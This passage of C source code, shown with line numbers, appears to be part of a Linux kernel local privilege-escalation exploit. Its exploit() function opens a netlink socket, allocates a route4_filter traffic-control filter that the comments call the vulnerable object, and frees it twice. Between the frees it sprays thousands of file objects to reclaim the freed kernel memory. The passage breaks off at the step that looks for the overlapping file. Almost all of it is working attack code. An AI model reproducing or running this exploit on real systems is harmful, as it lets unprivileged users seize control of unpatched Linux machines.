| 567 | } |
| 568 | |
| 569 | void exploit() { |
| 570 | char msg[0x10] = {}; |
| 571 | struct rlimit old_lim, lim, new_lim; |
| 572 | |
| 573 | // Get old limits |
| 574 | if (getrlimit(RLIMIT_NOFILE, &old_lim) == 0) |
| 575 | printf("Old limits -> soft limit= %ld \t" |
| 576 | " hard limit= %ld \n", |
| 577 | old_lim.rlim_cur, old_lim.rlim_max); |
| 578 | pin_on_cpu(0); |
| 579 | printf("[*] starting exploit, num of cores: %d\n", cpu_cores); |
| 580 | // open & setup the socket |
| 581 | sockfd = socket(PF_NETLINK, SOCK_RAW, 0); |
| 582 | assert(sockfd != -1); |
| 583 | add_qdisc(sockfd); |
| 584 | // 3. allocate a route4_filter (vulnerable object) |
| 585 | if (read(pipe_child[0], msg, 2) != 2) |
| 586 | err(1, "[-] read from parent"); |
| 587 | printf("[3] allocate the vulnerable filter\n"); |
| 588 | add_tc_(sockfd, 0, 0, 0, NLM_F_EXCL | NLM_F_CREATE); // handle = 0 |
| 589 | |
| 590 | if (write(pipe_parent[1], "OK", 2) != 2) |
| 591 | err(1, "[-] write to child"); |
| 592 | // 6. 1st free the route4_filter, return the `kmalloc-256` page to the page allocator |
| 593 | if (read(pipe_child[0], msg, 2) != 2) |
| 594 | err(1, "[-] read from parent"); |
| 595 | |
| 596 | // free the object, to free the slab |
| 597 | printf("[6] 1st freed the filter object\n"); |
| 598 | // getchar(); |
| 599 | add_tc_(sockfd, 0x11, 0x12, 0, NLM_F_CREATE); // handle = 0 |
| 600 | |
| 601 | // wait for the vulnerable object being freed |
| 602 | usleep(500 * 1000); |
| 603 | if (write(pipe_parent[1], "OK", 2) != 2) |
| 604 | err(1, "[-] write to child"); |
| 605 | // 8. spray 4000 unprivileged `file` |
| 606 | if (read(pipe_child[0], msg, 2) != 2) |
| 607 | err(1, "[-] read from parent"); |
| 608 | |
| 609 | usleep(1000 * 1000); |
| 610 | printf("[8] spray 4000 uprivileged `file`\n"); |
| 611 | for (int i = 0; i < spray_num_1; i++) { |
| 612 | pin_on_cpu(i % cpu_cores); |
| 613 | fds[i] = open("./data2", 1); |
| 614 | assert(fds[i] > 0); |
| 615 | } |
| 616 | // printf("pause before 2nd free\n"); |
| 617 | // getchar(); |
| 618 | // 9. 2nd free route4_filter, which will free the file |
| 619 | printf("[9] 2nd free the filter object\n"); |
| 620 | add_tc_(sockfd, 0x11, 0x13, 0, NLM_F_CREATE); // handle = 0 |
| 621 | printf("pause after 2nd free\n"); |
| 622 | // getchar(); |
| 623 | // sleep(10000); |
| 624 | usleep(1000 * 100); // should not sleep too long, otherwise file might be claimed by others |
| 625 | |
| 626 | // 10. spray 5000 unprivileged `file` & find the overlapped file |
no test coverage detected